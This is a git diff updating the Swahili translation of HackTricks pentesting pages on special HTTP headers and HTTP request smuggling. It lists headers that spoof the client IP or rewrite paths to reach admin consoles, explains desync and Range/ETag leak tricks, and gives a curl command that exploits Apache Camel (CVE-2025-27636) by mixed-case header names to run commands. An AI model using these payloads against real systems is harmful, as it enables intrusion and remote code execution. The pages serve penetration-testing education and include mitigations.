Translated ['src/network-services-pentesting/pentesting-web/special-http

2025-10-10 18:36:50 +00:00 · 2025-09-05 11:19:55 +00:00 · 2025-09-05 11:19:55 +00:00 · 846808e5d4
commit 846808e5d4
parent f746f7c228
3 changed files with 319 additions and 245 deletions
--- a/src/network-services-pentesting/pentesting-web/special-http-headers.md
+++ b/src/network-services-pentesting/pentesting-web/special-http-headers.md
@ -1,15 +1,15 @@
-# Special HTTP headers
+# Vichwa maalum vya HTTP

 {{#include ../../banners/hacktricks-training.md}}

-## Wordlists & Tools
+## Orodha za maneno & Zana

 - [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers)
 - [https://github.com/rfc-st/humble](https://github.com/rfc-st/humble)

-## Headers to Change Location
+## Vichwa vya Kubadilisha Mahali

-Rewrite **IP source**:
+Rekebisha **chanzo cha IP**:

 - `X-Originating-IP: 127.0.0.1`
 - `X-Forwarded-For: 127.0.0.1`
@ -26,19 +26,20 @@ Rewrite **IP source**:
 - `True-Client-IP: 127.0.0.1`
 - `Cluster-Client-IP: 127.0.0.1`
 - `Via: 1.0 fred, 1.1 127.0.0.1`
- `Connection: close, X-Forwarded-For` (Check hop-by-hop headers)
+- `Connection: close, X-Forwarded-For` (Angalia hop-by-hop headers)

-Rewrite **location**:
+Rekebisha **eneo**:

 - `X-Original-URL: /admin/console`
 - `X-Rewrite-URL: /admin/console`

-## Hop-by-Hop headers
+## Vichwa Hop-by-Hop

-A hop-by-hop header is a header which is designed to be processed and consumed by the proxy currently handling the request, as opposed to an end-to-end header.
+Kichwa cha hop-by-hop ni kichwa kilichoundwa kushughulikiwa na proxy inayoshughulikia ombi kwa sasa, badala ya kichwa cha end-to-end.

 - `Connection: close, X-Forwarded-For`

+
 {{#ref}}
 ../../pentesting-web/abusing-hop-by-hop-headers.md
 {{#endref}}
@ -48,88 +49,109 @@ A hop-by-hop header is a header which is designed to be processed and consumed b
 - `Content-Length: 30`
 - `Transfer-Encoding: chunked`

+
 {{#ref}}
 ../../pentesting-web/http-request-smuggling/
 {{#endref}}

-## Cache Headers
+## Kichwa Expect

-**Server Cache Headers**:
+Inawezekana kwa client kutuma kichwa `Expect: 100-continue` na kisha server inaweza kujibu kwa `HTTP/1.1 100 Continue` ili kuruhusu client kuendelea kutuma body ya ombi. Hata hivyo, baadhi ya proxies hazipendi kichwa hiki.
+
+Matokeo ya kuvutia ya `Expect: 100-continue`:
+- Kutuma ombi la HEAD lenye mwili huku server haikuzingatia kwamba maombi ya HEAD hayana mwili, na ikahifadhi muunganisho wazi hadi ulipomalizika (timeout).
+- Seva nyingine zilituma data za ajabu: data za nasibu zilizosomeka kutoka soketi katika response, vitufe vya siri, au hata ikaruhusu kuzuia front-end kuondoa thamani za vichwa.
+- Pia ilisababisha desync ya `0.CL` kwa sababu backend ilijibu kwa 400 badala ya 100, lakini proxy front-end ilikuwa tayari kutuma body ya ombi la awali; ikalituma na backend ikailichukulia kama ombi jipya.
+- Kutuma toleo la `Expect: y 100-continue` pia kulisababisha desync ya `0.CL`.
+- Hitilafu sawa ambapo backend ilijibu kwa 404 ilizalisha desync ya `CL.0` kwa sababu ombi la uharibifu liliainisha `Content-Length`, hivyo backend inatuma ombi la uharibifu + bajti za `Content-Length` za ombi linalofuata (la mwathiriwa); hili linasukuma mfululizo kwa sababu backend inatuma ombi la 404 kwa ombi la uharibifu + majibu ya ombi za mwathiriwa, lakini front-end ilifikiri ombi 1 tu lilitumwa, hivyo jibu la pili limetumwa kwa ombi la pili la mwathiriwa na jibu la hilo likatumwa kwa ombi lifuatalo...
+
+Kwa habari zaidi kuhusu HTTP Request Smuggling angalia:
+
+{{#ref}}
+../../pentesting-web/http-request-smuggling/
+{{#endref}}
+
+
+## Vichwa vya Cache
+
+**Vichwa vya Cache vya Server**:
+
+- **`X-Cache`** katika response inaweza kuwa na thamani **`miss`** wakati ombi halikuhifadhiwa (cached) na thamani **`hit`** wakati limehifadhiwa
+- Tabia sawa katika kichwa **`Cf-Cache-Status`**
+- **`Cache-Control`** inaonyesha kama rasilimali inahifadhiwa na lini itahifadhiwa tena: `Cache-Control: public, max-age=1800`
+- **`Vary`** mara nyingi hutumika katika response kuonyesha vichwa vya ziada vinavyochukuliwa kama sehemu ya cache key hata kama kawaida havizingatiwi.
+- **`Age`** inaonyesha muda kwa sekunde ambayo kitu kimekuwa kwenye proxy cache.
+- **`Server-Timing: cdn-cache; desc=HIT`** pia inaonyesha kwamba rasilimali ilihifadhiwa

- **`X-Cache`** in the response may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached
- Similar behaviour in the header **`Cf-Cache-Status`**
- **`Cache-Control`** indicates if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800`
- **`Vary`** is often used in the response to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed.
- **`Age`** defines the times in seconds the object has been in the proxy cache.
- **`Server-Timing: cdn-cache; desc=HIT`** also indicates that a resource was cached

 {{#ref}}
 ../../pentesting-web/cache-deception/
 {{#endref}}

-**Local Cache headers**:
+**Vichwa vya Cache vya Ndani**:

- `Clear-Site-Data`: Header to indicate the cache that should be removed: `Clear-Site-Data: "cache", "cookies"`
- `Expires`: Contains date/time when the response should expire: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
- `Pragma: no-cache` same as `Cache-Control: no-cache`
- `Warning`: The **`Warning`** general HTTP header contains information about possible problems with the status of the message. More than one `Warning` header may appear in a response. `Warning: 110 anderson/1.3.37 "Response is stale"`
+- `Clear-Site-Data`: Kichwa kinachoonyesha cache ambayo inapaswa kuondolewa: `Clear-Site-Data: "cache", "cookies"`
+- `Expires`: Imejaa tarehe/muda wakati response inapaswa kuisha: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
+- `Pragma: no-cache` sawa na `Cache-Control: no-cache`
+- `Warning`: Kichwa jumla cha HTTP **`Warning`** kina taarifa kuhusu matatizo yanayowezekana na hali ya ujumbe. Zaidi ya kichwa kimoja cha `Warning` kinaweza kuonekana katika response. `Warning: 110 anderson/1.3.37 "Response is stale"`

-## Conditionals
+## Masharti

- Requests using these headers: **`If-Modified-Since`** and **`If-Unmodified-Since`** will be responded with data only if the response header**`Last-Modified`** contains a different time.
- Conditional requests using **`If-Match`** and **`If-None-Match`** use an Etag value so the web server will send the content of the response if the data (Etag) has changed. The `Etag` is taken from the HTTP response.
- The **Etag** value is usually **calculated based** on the **content** of the response. For example, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` indicates that the `Etag` is the **Sha1** of **37 bytes**.
+- Maombi yanayotumia vichwa hivi: **`If-Modified-Since`** na **`If-Unmodified-Since`** yatatajibiwa kwa data tu ikiwa kichwa cha response **`Last-Modified`** kina wakati tofauti.
+- Maombi ya masharti yanayotumia **`If-Match`** na **`If-None-Match`** yanatumia thamani ya Etag ili server itume maudhui ya response ikiwa data (Etag) imebadilika. `Etag` inachukuliwa kutoka kwa HTTP response.
+- Thamani ya **Etag** kwa kawaida hupimwa kwa msingi wa **maudhui** ya response. Kwa mfano, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` inaonyesha kwamba `Etag` ni **SHA1** ya **bajti 37**.

-## Range requests
+## Maombi ya Range

- **`Accept-Ranges`**: Indicates if the server supports range requests, and if so in which unit the range can be expressed. `Accept-Ranges: <range-unit>`
- **`Range`**: Indicates the part of a document that the server should return. For example, `Range:80-100` will return the bytes 80 to 100 of the original response with a status code of 206 Partial Content. Also remember to remove the `Accept-Encoding` header from the request.
- This could be useful to get a response with arbitrary reflected javascript code that otherwise could be escaped. But to abuse this you would need to inject this headers in the request.
- **`If-Range`**: Creates a conditional range request that is only fulfilled if the given etag or date matches the remote resource. Used to prevent downloading two ranges from incompatible version of the resource.
- **`Content-Range`**: Indicates where in a full body message a partial message belongs.
+- **`Accept-Ranges`**: Inaonyesha ikiwa server inasaidia maombi ya range, na ikiwa ndiyo ni kwa unit gani range inaweza kuelezwa. `Accept-Ranges: <range-unit>`
+- **`Range`**: Inaonyesha sehemu ya hati ambayo server inapaswa kurudisha. Kwa mfano, `Range:80-100` itarudisha bajti 80 hadi 100 za response ya asili kwa status code 206 Partial Content. Pia kumbuka kuondoa kichwa `Accept-Encoding` kutoka kwenye ombi.
+- Hii inaweza kuwa muhimu kupata response yenye msimbo wa javascript unaoreflektwa kwa hiari ambao kwa kawaida ungeweza ku-escape. Lakini kwa kuabusu hii utahitaji kuingiza vichwa hivi kwenye ombi.
+- **`If-Range`**: Inaunda ombi la range la masharti ambalo linautekelezwa tu ikiwa etag au tarehe iliyotolewa inafanana na rasilimali ya mbali. Inatumika kuzuia kupakua ranges mbili kutoka kwa matoleo yasiyofanana ya rasilimali.
+- **`Content-Range`**: Inaonyesha wapi katika ujumbe wa mwili kamili ujumbe wa sehemu unapatikana.

-## Message body information
+## Taarifa za mwili wa ujumbe

- **`Content-Length`:** The size of the resource, in decimal number of bytes.
- **`Content-Type`**: Indicates the media type of the resource
- **`Content-Encoding`**: Used to specify the compression algorithm.
- **`Content-Language`**: Describes the human language(s) intended for the audience, so that it allows a user to differentiate according to the users' own preferred language.
- **`Content-Location`**: Indicates an alternate location for the returned data.
+- **`Content-Length`:** Ukubwa wa rasilimali, kwa namba ya desimali ya bajti.
+- **`Content-Type`**: Inaonyesha aina ya media ya rasilimali
+- **`Content-Encoding`**: Inatumika kubainisha algoritim ya compression.
+- **`Content-Language`**: Inaelezea lugha(za) za kibinadamu zilizokusudiwa kwa hadhira, ili kumruhusu mtumiaji kutofautisha kulingana na lugha anayoipendelea.
+- **`Content-Location`**: Inaonyesha eneo mbadala kwa data iliyorejeshwa.

-From a pentest point of view this information is usually "useless", but if the resource is **protected** by a 401 or 403 and you can find some **way** to **get** this **info**, this could be **interesting.**\
-For example a combination of **`Range`** and **`Etag`** in a HEAD request can leak the content of the page via HEAD requests:
+Kutoka kwa mtazamo wa pentest taarifa hizi kwa kawaida ni "zisizo na maana", lakini ikiwa rasilimali imelemazwa na 401 au 403 na unaweza kupata njia yoyote ya kupata info hii, inaweza kuwa ya kuvutia.\
+Kwa mfano, mchanganyiko wa **`Range`** na **`Etag`** katika ombi la HEAD unaweza leak maudhui ya ukurasa kupitia maombi ya HEAD:

- A request with the header `Range: bytes=20-20` and with a response containing `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` is leaking that the SHA1 of the byte 20 is `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
+- Ombi lenye kichwa `Range: bytes=20-20` na kwa response yenye `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` linaonyesha kuwa SHA1 ya bajti ya 20 ni `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`

-## Server Info
+## Taarifa za Server

 - `Server: Apache/2.4.1 (Unix)`
 - `X-Powered-By: PHP/5.3.3`

-## Controls
+## Vizuizi

- **`Allow`**: Header hii inatumika kuwasilisha mbinu za HTTP ambazo rasilimali inaweza kushughulikia. Kwa mfano, inaweza kuainishwa kama `Allow: GET, POST, HEAD`, ikionyesha kwamba rasilimali inasaidia mbinu hizi.
- **`Expect`**: Inatumika na mteja kuwasilisha matarajio ambayo seva inahitaji kutimiza ili ombi kushughulikiwa kwa mafanikio. Matumizi ya kawaida ni pamoja na kichwa `Expect: 100-continue`, ambacho kinadhihirisha kwamba mteja anatarajia kutuma mzigo mkubwa wa data. Mteja anatazamia jibu la `100 (Continue)` kabla ya kuendelea na uhamishaji. Mekanism hii inasaidia kuboresha matumizi ya mtandao kwa kusubiri uthibitisho kutoka kwa seva.
+- **`Allow`**: Kichwa hiki kinatumika kuwasilisha njia za HTTP ambazo rasilimali inaweza kushughulikia. Kwa mfano, kinaweza kubainishwa kama `Allow: GET, POST, HEAD`, ikionyesha kwamba rasilimali inasaidia njia hizi.
+- **`Expect`**: Inatumika na client kuwasilisha matarajio ambayo server inahitaji kutimiza ili ombi lifanyike kwa mafanikio. Matumizi ya kawaida ni `Expect: 100-continue`, ambayo inaashiria kuwa client inalenga kutuma payload kubwa ya data. Client inatarajia jibu la `100 (Continue)` kabla ya kuendelea na upelelezi. Mbinu hii inasaidia kuboresha matumizi ya mtandao kwa kusubiri uthibitisho wa server.

-## Downloads
+## Upakuaji

- The **`Content-Disposition`** header in HTTP responses directs whether a file should be displayed **inline** (within the webpage) or treated as an **attachment** (downloaded). For instance:
+- Kichwa **`Content-Disposition`** katika responses za HTTP kinaelekeza kama faili inapaswa kuonyeshwa **ndani ya ukurasa** (ndani ya webpage) au kutumika kama **kiambatisho** (kupakuliwa). Kwa mfano:
 ```
 Content-Disposition: attachment; filename="filename.jpg"
 ```
-Hii inamaanisha faili iliyo na jina "filename.jpg" inakusudiwa kupakuliwa na kuhifadhiwa.
+Hii inamaanisha faili iitwayo "filename.jpg" imekusudiwa kupakuliwa na kuhifadhiwa.

 ## Vichwa vya Usalama

-### Sera ya Usalama wa Maudhui (CSP) <a href="#csp" id="csp"></a>
+### Content Security Policy (CSP) <a href="#csp" id="csp"></a>
+

 {{#ref}}
 ../../pentesting-web/content-security-policy-csp-bypass/
 {{#endref}}

-### **Aina Zinazotolewa**
+### **Trusted Types**

-Kwa kulazimisha Aina Zinazotolewa kupitia CSP, programu zinaweza kulindwa dhidi ya mashambulizi ya DOM XSS. Aina Zinazotolewa zinahakikisha kwamba ni vitu vilivyoundwa kwa usahihi pekee, vinavyokubaliana na sera za usalama zilizowekwa, vinaweza kutumika katika wito hatari wa API za wavuti, hivyo kulinda msimbo wa JavaScript kwa default.
+Kwa kutekeleza Trusted Types kupitia CSP, maombi yanaweza kulindwa dhidi ya mashambulizi ya DOM XSS. Trusted Types zinahakikisha kwamba tu vitu vilivyotengenezwa mahsusi, vinavyokubaliana na sera za usalama zilizowekwa, vinaweza kutumika katika miito hatari ya API za wavuti, hivyo kuilinda JavaScript kwa chaguo-msingi.
 ```javascript
 // Feature detection
 if (window.trustedTypes && trustedTypes.createPolicy) {
@ -148,73 +170,73 @@ el.innerHTML = escaped // Results in safe assignment.
 ```
 ### **X-Content-Type-Options**

-Kichwa hiki kinazuia upimaji wa aina ya MIME, mbinu ambayo inaweza kusababisha udhaifu wa XSS. Kinahakikisha kwamba vivinjari vinaheshimu aina za MIME zilizotajwa na seva.
+Kichwa hiki kinazuia MIME type sniffing, mbinu inayoweza kusababisha XSS vulnerabilities. Inahakikisha kwamba browsers zinaheshimu MIME types zilizobainishwa na server.
 ```
 X-Content-Type-Options: nosniff
 ```
 ### **X-Frame-Options**

-Ili kupambana na clickjacking, kichwa hiki kinapunguza jinsi hati zinaweza kuingizwa katika `<frame>`, `<iframe>`, `<embed>`, au `<object>` tags, kikishauri hati zote kufafanua ruhusa zao za kuingizwa waziwazi.
+Ili kupambana na clickjacking, header hii inapunguza jinsi nyaraka zinavyoweza kuingizwa katika lebo za `<frame>`, `<iframe>`, `<embed>`, au `<object>`, ikipendekeza nyaraka zote kutaja wazi ruhusa zao za kuingizwa.
 ```
 X-Frame-Options: DENY
 ```
-### **Cross-Origin Resource Policy (CORP) and Cross-Origin Resource Sharing (CORS)**
+### **Cross-Origin Resource Policy (CORP) na Cross-Origin Resource Sharing (CORS)**

-CORP ni muhimu kwa kubainisha ni rasilimali zipi zinaweza kupakiwa na tovuti, ikipunguza uvujaji wa taarifa kati ya tovuti. CORS, kwa upande mwingine, inaruhusu mfumo wa kushiriki rasilimali za asili tofauti kwa njia ya kubadilika zaidi, ikirekebisha sera ya asili sawa chini ya hali fulani.
+CORP ni muhimu kwa kubainisha rasilimali zinazoweza kupakiwa na tovuti, na kupunguza cross-site leaks. CORS, kwa upande mwingine, inaruhusu mfumo wenye ufanisi zaidi wa cross-origin resource sharing, ikilegeza same-origin policy chini ya masharti fulani.
 ```
 Cross-Origin-Resource-Policy: same-origin
 Access-Control-Allow-Origin: https://example.com
 Access-Control-Allow-Credentials: true
 ```
-### **Cross-Origin Embedder Policy (COEP) and Cross-Origin Opener Policy (COOP)**
+### **Sera za Cross-Origin Embedder (COEP) na Cross-Origin Opener (COOP)**

-COEP na COOP ni muhimu kwa kuwezesha kutengwa kwa mipaka ya asili, kupunguza kwa kiasi kikubwa hatari ya mashambulizi kama ya Spectre. Zinadhibiti upakiaji wa rasilimali za mipaka tofauti na mwingiliano na madirisha ya mipaka tofauti, mtawalia.
+COEP na COOP ni muhimu kwa kuwezesha kutengwa kwa cross-origin, kupunguza kwa kiasi kikubwa hatari ya shambulio kama Spectre. Zinadhibiti upakiaji wa rasilimali za cross-origin na mwingiliano na madirisha ya cross-origin, mtawalia.
 ```
 Cross-Origin-Embedder-Policy: require-corp
 Cross-Origin-Opener-Policy: same-origin-allow-popups
 ```
 ### **HTTP Strict Transport Security (HSTS)**

-Mwisho, HSTS ni kipengele cha usalama ambacho kinawalazimisha vivinjari kuwasiliana na seva tu kupitia muunganisho salama wa HTTPS, hivyo kuboresha faragha na usalama.
+Mwishowe, HSTS ni kipengele cha usalama kinachowalazimisha browsers kuwasiliana na servers kwa kutumia viunganisho salama vya HTTPS pekee, hivyo kuboresha faragha na usalama.
 ```
 Strict-Transport-Security: max-age=3153600
 ```
-## Header Name Casing Bypass
+## Kupitisha Casing ya Jina la Header

-HTTP/1.1 inafafanua majina ya uwanja wa kichwa kama **hayana tofauti ya herufi** (RFC 9110 §5.1). Hata hivyo, ni kawaida sana kukutana na middleware maalum, filters za usalama, au mantiki ya biashara ambayo inalinganisha *jina halisi* la kichwa kilichopokelewa bila kulinganisha herufi kwanza (kwa mfano, `header.equals("CamelExecCommandExecutable")`). Ikiwa ukaguzi huo unafanywa **kwa kuzingatia herufi**, mshambuliaji anaweza kuupita kwa kutuma kichwa hicho hicho na uandishi tofauti wa herufi.
+HTTP/1.1 inaelezea majina ya field za header kama **hayazingatii utofauti wa herufi** (RFC 9110 §5.1). Hata hivyo, mara nyingi hupatikana middleware maalum, filters za usalama, au logic ya biashara ambazo zinalinganisha jina la header *kama lilivyo* bila kuanzisha casing kwanza (mfano, `header.equals("CamelExecCommandExecutable")`). Ikiwa ukaguzi huo unafanywa kwa **kuzingatia utofauti wa herufi**, mshambuliaji anaweza kuupitisha kwa kutuma header ile ile akiwa na utofauti wa namna ya uandikaji wa herufi.

-Mifano ya kawaida ambapo makosa haya yanaonekana:
+Mifano ya kawaida ambapo kosa hili hufanyika:

-* Orodha maalum za ruhusa/zuio ambazo zinajaribu kuzuia vichwa vya ndani "vya hatari" kabla ombi halijafikia kipengele nyeti.
-* Utekelezaji wa ndani wa pseudo-vichwa vya reverse-proxy (kwa mfano, usafi wa `X-Forwarded-For`).
-* Mifumo ambayo inafichua mwisho wa usimamizi / ufuatiliaji na inategemea majina ya vichwa kwa uthibitishaji au uchaguzi wa amri.
+* Orodha za kustomi za kuruhusu/kuzuia (allow/deny) ambazo zinajaribu kuzuia header za ndani “hatari” kabla ya ombi kufikia sehemu nyeti.
+* Utekelezaji wa ndani wa pseudo-headers za reverse-proxy (mfano, `X-Forwarded-For` kusafishwa).
+* Frameworks zinazofungua endpoints za management/debug na kutegemea majina ya header kwa uthibitisho au kuchagua amri.

-### Abusing the bypass
+### Kutumia kupitisha

-1. Tambua kichwa ambacho kinachujwa au kuthibitishwa upande wa seva (kwa mfano, kwa kusoma msimbo wa chanzo, nyaraka, au ujumbe wa makosa).
-2. Tuma **kichwa hicho hicho na uandishi tofauti** (mchanganyiko wa herufi au herufi kubwa). Kwa sababu HTTP stacks kawaida hufanya kanuni za vichwa tu *baada* ya msimbo wa mtumiaji kukimbia, ukaguzi unaoweza kuathiriwa unaweza kupuuziliwa mbali.
-3. Ikiwa kipengele cha chini kinachukulia vichwa kwa njia isiyo na tofauti ya herufi (vingi hufanya hivyo), kitakubali thamani inayodhibitiwa na mshambuliaji.
+1. Tambua header inayosafishwa au kuthibitishwa upande wa server (kwa mfano, kwa kusoma source code, nyaraka, au ujumbe za kosa).
+2. Tuma **header ile ile lakini ukiandika casing tofauti** (mixed-case au upper-case). Kwa kuwa stacks za HTTP kwa kawaida hukanonikalisha headers tu *baada* user code imetekelezwa, ukaguzi dhaifu unaweza kurukwa.
+3. Ikiwa sehemu inayofuata inashughulikia headers bila kuzingatia casing (zaidi yao hufanya hivyo), itakubali thamani inayodhibitiwa na mshambuliaji.

-### Example: Apache Camel `exec` RCE (CVE-2025-27636)
+### Mfano: Apache Camel `exec` RCE (CVE-2025-27636)

-Katika toleo hatarishi la Apache Camel, njia za *Command Center* zinajaribu kuzuia maombi yasiyoaminika kwa kuondoa vichwa `CamelExecCommandExecutable` na `CamelExecCommandArgs`. Ulinganisho ulifanywa kwa `equals()` hivyo majina halisi ya herufi ndogo pekee yaliondolewa.
+Katika matoleo yaliyo na udhaifu ya Apache Camel, routes za *Command Center* zinajaribu kuzuia maombi yasiyoaminifu kwa kuondoa headers `CamelExecCommandExecutable` na `CamelExecCommandArgs`. Kulinganisha kulifanywa kwa kutumia `equals()` hivyo majina yalivyo sawa kabisa kwa herufi ndogo tu ndiyo yaliyoondolewa.
 ```bash
 # Bypass the filter by using mixed-case header names and execute `ls /` on the host
 curl "http://<IP>/command-center" \
 -H "CAmelExecCommandExecutable: ls" \
 -H "CAmelExecCommandArgs: /"
 ```
-Vichwa vinawafikia kipengele cha `exec` bila kuchujwa, na kusababisha utekelezaji wa amri za mbali kwa mamlaka ya mchakato wa Camel.
+Vichwa vya header vinamfikia sehemu ya `exec` bila kuchujwa, na kusababisha remote command execution kwa ruhusa za mchakato wa Camel.

 ### Ugunduzi na Kupunguza

-* Sanitize majina yote ya vichwa kuwa katika hali moja (kawaida herufi ndogo) **kabla** ya kufanya kulinganisha kuruhusu/kukataa.
-* Kata duplicates za kutatanisha: ikiwa `Header:` na `HeAdEr:` zote zipo, itendee kama anomali.
-* Tumia orodha ya kuruhusiwa chanya inayotekelezwa **baada** ya canonicalisation.
-* Linda mwisho wa usimamizi kwa uthibitisho na segmentation ya mtandao.
+* Sanisha majina yote ya header kwa kesi moja (kawaida lowercase) **kabla** ya kufanya mlinganisho wa allow/deny.
+* Kataa kurudufu zenye shaka: ikiwa `Header:` na `HeAdEr:` zote zipo, zitachukuliwa kama hitilafu.
+* Tumia allow-list chanya inayotekelezwa **baada ya** canonicalisation.
+* Linda management endpoints kwa kutumia authentication na ugawanyaji wa mtandao.


-## Marejeleo
+## References

 - [CVE-2025-27636 – RCE in Apache Camel via header casing bypass (OffSec blog)](https://www.offsec.com/blog/cve-2025-27636/)
 - [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)
--- a/src/pentesting-web/http-request-smuggling/README.md
+++ b/src/pentesting-web/http-request-smuggling/README.md
@ -3,10 +3,10 @@
 {{#include ../../banners/hacktricks-training.md}}


-## Nini
+## Ni Nini

-Udhaifu huu hutokea wakati kunakuwa na **desyncronization** kati ya **front-end proxies** na server ya **back-end**, ikimruhusu **attacker** **send** HTTP **request** ambayo itatafsiriwa kama **single request** na **front-end** proxies (load balance/reverse-proxy) na **as 2 request** na server ya **back-end**.\
-Hii inamruhusu mtumiaji **modify the next request that arrives to the back-end server after his**.
+Udhaifu huu hutokea wakati kuna **desyncronization** kati ya **front-end proxies** na **back-end** server ikimruhusu **attacker** **kutuma** HTTP **request** ambayo itatafsiriwa kama **single request** na **front-end** proxies (load balance/reverse-proxy) na **kama 2 request** na **back-end** server.\
+Hii inamruhusu mtumiaji **kubadilisha request inayofuata itakayofika kwenye back-end server baada ya yake**.

 ### Nadharia

@ -25,40 +25,57 @@ Hii inamruhusu mtumiaji **modify the next request that arrives to the back-end s

 ### Uhalisia

-The **Front-End** (a load-balance / Reverse Proxy) **process** the _**content-length**_ or the _**transfer-encoding**_ header na server ya **Back-end** **process the other** one, hivyo kusababisha **desyncronization** kati ya mifumo miwili.\
-Hii inaweza kuwa hatari sana kwa sababu **an attacker will be able to send one request** kwa reverse proxy ambayo itatafsiriwa na server ya **back-end** **as 2 different requests**. Hatari ya mbinu hii iko kwa sababu server ya **back-end** itatafsiri **2nd request injected** kana kwamba ilitoka kwa **the next client**, na **the real request** ya mteja huyo itakuwa sehemu ya **the injected request**.
+The **Front-End** (a load-balance / Reverse Proxy) **process** the _**content-length**_ au _**transfer-encoding**_ header na **Back-end** server **inaprocesi nyingine**, ikisababisha **desyncronization** kati ya mifumo miwili.\
+Hii inaweza kuwa hatari sana kwani **attacker** ataweza kutuma request moja kwa reverse proxy ambayo itatafsiriwa na **back-end** server **kama requests 2 tofauti**. Hatari ya mbinu hii ni kwamba **back-end** server itaona request ya pili iliyochanganywa kana kwamba **ilitoka kwa mteja mwingine** na request halisi ya mteja huyo itakuwa sehemu ya request iliyochanganywa.

-### Sifa Maalum
+### Maelezo Maalum

-Kumbuka kwamba katika HTTP **a new line character is composed by 2 bytes:**
+Kumbuka kuwa katika HTTP **new line character inaundwa na bytes 2:**
+
+- **Content-Length**: Header hii inatumia **nambari ya desimali** kuonyesha **idadi ya bytes** za **body** ya request. Body inatarajiwa kumalizika kwa tabia ya mwisho; **newline haifai mwishoni mwa request**.
+- **Transfer-Encoding:** Header hii inatumia katika **body** **nambari ya hexadecimal** kuonyesha **idadi ya bytes** za **chunk inayofuata**. **Chunk** inapaswa **kumalizika** kwa **newline** lakini newline hii **haisi kuhesabiwa** na kipimo cha urefu. Mbinu hii ya uhamisho lazima imalizike na **chunk ya ukubwa 0 ikifuatiwa na new lines 2**: `0`
+- **Connection**: Kutokana na uzoefu wangu inapendekezwa kutumia **`Connection: keep-alive`** kwenye request ya kwanza ya request Smuggling.
+
+### Inaonekana - Iliyofichwa
+
+Tatizo kuu na http/1.1 ni kwamba maombi yote yanaingia kwenye socket moja ya TCP, hivyo ikiwa kutatokea tofauti kati ya mifumo miwili inayopokea maombi, inawezekana kutuma request moja itakayotendewa kama requests 2 tofauti (au zaidi) na backend ya mwisho (au hata mifumo ya kati).
+
+**[This blog post](https://portswigger.net/research/http1-must-die)** inaleta njia mpya za kugundua desync attacks kwa mfumo ambazo hazitatazamwa na WAFs. Lengo hapa ni kujaribu kupata tofauti katika majibu kwa kutumia mbinu ambazo zinaweza kusababisha desyncs bila kutilia maanani exploit yoyote.
+
+Kwa mfano, kutuma request na host header ya kawaida na header `" host"`, ikiwa backend itashangaa kuhusu request hii (labda kwa sababu value ya `" host"` si sahihi) inaweza kuonyesha kuwa front-end haikuona header `" host"` wakati back-end ilitumia, jambo linaloashiria desync kati ya front-end na back-end.
+
+Hii ingekuwa **Hidden-Visible discrepancy**.
+
+Kama front-end ingekuwa imezingatia header `" host"` lakini back-end haiku, hii ingeweza kuwa **Visible-Hidden**.
+
+Kwa mfano, hii iliruhusu kugundua desyncs kati ya AWS ALB kama front-end na IIS kama backend. Hii ilitokana na ukweli kwamba wakati `"Host: foo/bar"` ilitumwa, ALB ilirudisha `400, Server; awselb/2.0`, lakini wakati `"Host : foo/bar"` ilitumwa, ilirudisha `400, Server: Microsoft-HTTPAPI/2.0`, ikionyesha backend ndiye anayeleta jibu. Hii ni Hidden-Vissible (H-V) situation.
+
+Kumbuka kuwa hali hii haijarekebishwa kwenye AWS, lakini inaweza kuzuiwa kwa kuweka `routing.http.drop_invalid_header_fields.enabled` na `routing.http.desync_mitigation_mode = strictest`.

- **Content-Length**: Kichwa hiki kinatumia nambari ya **decimal number** kucharacter idadi ya **bytes** za mwili wa request. Mwili unatarajiwa kumalizika kwenye tabia ya mwisho; **a new line is not needed in the end of the request**.
- **Transfer-Encoding:** Kichwa hiki kinatumia katika mwili nambari ya **hexadecimal number** kuonyesha idadi ya **bytes** za **next chunk**. **Chunk** lazima **end** na **new line** lakini new line hii **isn't counted** kwenye kiashiria cha urefu. Mbinu hii ya uhamishaji lazima iishe na **chunk of size 0 followed by 2 new lines**: `0`
- **Connection**: Kwa uzoefu wangu inapendekezwa kutumia **`Connection: keep-alive`** kwenye request ya kwanza ya request Smuggling.

 ## Mifano ya Msingi

 > [!TIP]
-> Unapotaka kujaribu hii kwa Burp Suite **zimamisha `Update Content-Length` na `Normalize HTTP/1 line endings`** kwenye repeater kwa sababu baadhi ya gadgets hutumia newlines, carriage returns na malformed content-lengths.
+> Unapojaribu ku-exploit hii kwa kutumia Burp Suite **zimia `Update Content-Length` na `Normalize HTTP/1 line endings`** kwenye repeater kwa sababu baadhi ya gadgets hutumia newlines, carriage returns na content-lengths zisizopangwa vizuri.

-HTTP request smuggling attacks hutengenezwa kwa kutuma requests zenye utata ambazo zinachokoza tofauti za tafsiri kati ya front-end na back-end kuhusu vichwa vya `Content-Length` (CL) na `Transfer-Encoding` (TE). Mashambulizi haya yanaweza kuonekana kwa aina tofauti, hasa kama **CL.TE**, **TE.CL**, na **TE.TE**. Kila aina inaonyesha mchanganyiko wa jinsi front-end na back-end zinavyoweka kipaumbele kwa vichwa hivi. Udhaifu hutokea wanapotumia request ile ile kwa njia tofauti, na kusababisha matokeo yasiyotegemewa na kwa uharibifu.
+HTTP request smuggling attacks zinaundwa kwa kutuma requests zenye utofauti (ambiguous) zinazotumia tofauti jinsi front-end na back-end servers zinavyotafsiri headers za `Content-Length` (CL) na `Transfer-Encoding` (TE). Attacks hizi zinaweza kuonekana kwa aina tofauti, hasa kama **CL.TE**, **TE.CL**, na **TE.TE**. Kila aina inaonyesha mchanganyiko wa jinsi front-end na back-end zinavyopendelea headers hizi. Udhaifu hutokea wakati servers zinaprosesi request moja kwa njia tofauti, na kusababisha matokeo yasiyotarajiwa na ya uharibifu.

-### Mifano ya Msingi ya Aina za Udhaifu
+### Mifano Msingi ya Aina za Udhaifu

